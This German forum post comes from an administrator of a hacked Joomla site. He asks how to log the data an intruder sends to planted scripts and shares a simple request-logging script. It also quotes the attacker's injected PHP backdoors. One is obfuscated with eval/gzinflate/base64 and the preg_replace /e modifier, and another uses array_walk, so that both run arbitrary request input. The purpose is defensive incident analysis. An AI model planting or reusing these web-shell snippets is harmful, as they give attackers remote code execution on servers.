seth_not@home: von php-hacker gesendete daten ueberwachen

Beitrag lesen

gudn tach!

grober hintergrund

bei einer joomla-instanz, die ich mitbetreue, ist uns letztens aufgefallen, dass jemand fremden code eingeschleust hat und ab und zu einige megabyte an daten an die neuen scripts geschickt hat.

vermutlich wurde eine sicherheitsluecke von joomla 3.4.5 und 3.4.6 ausgenutzt (ueber die letztes jahr recht viel berichtet wurde, siehe heise.de).

ziel, idee und frage

nun wuerde ich gerne herausfinden, welcher art diese daten waren/sind, die an diese neuen/modifizierten scripts gesendet wurden. das access-log gibt das leider nicht her, also ist meine "hoffnung", das der uebeltaeter nochmal vorbeischaut. ich wuerde meinerseits die scripts vorher entsprechend abaendern und die request-daten mitloggen.

meine idee ist ein solches script:

<?php
file_put_contents('postdata.txt', date(DATE_ATOM) . "\n" . var_export($_REQUEST, true), FILE_APPEND | LOCK_EX);
echo "ok!"
?>

allerdings soll man ja normalerweise keine user-daten unbehandelt benutzen. deswegen nun meine frage: ist diese vorgehensweise dumm? (wenn ja: wieso? was waere besser?)

hintergrunddetails

nicht fuer meine obige frage von grosser bedeutung (aber vielleicht interessiert's ja trotzdem jemanden) ist das eingeschleuste script des boesewichts:

<?php
preg_replace('/a/e','e'.'v'.'a'.'l'.'(gzinfl'.'ate(base'.'64_decod'.'e(\'cygoSk2PL0otyElMTtVQ0o9OzU3MzInVT1XSUYkPcg0MdQ0OiVZPLSrKL1KP1VECM5Q0rQE=\')))','abc');
echo "ok!"
?>

was sich vor allem in

@preg_replace("/[email]/e",$_REQUEST['error'],"error");

aufloest.

zusaetzlich wurde in eine bereits bestehende php-datei der code

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

eingefuegt.

frage am rande: weiss jemand von euch zufaellig, ob das ueberhaupt auf die joomla-luecke von version 3.4.6 hindeutet?

prost

seth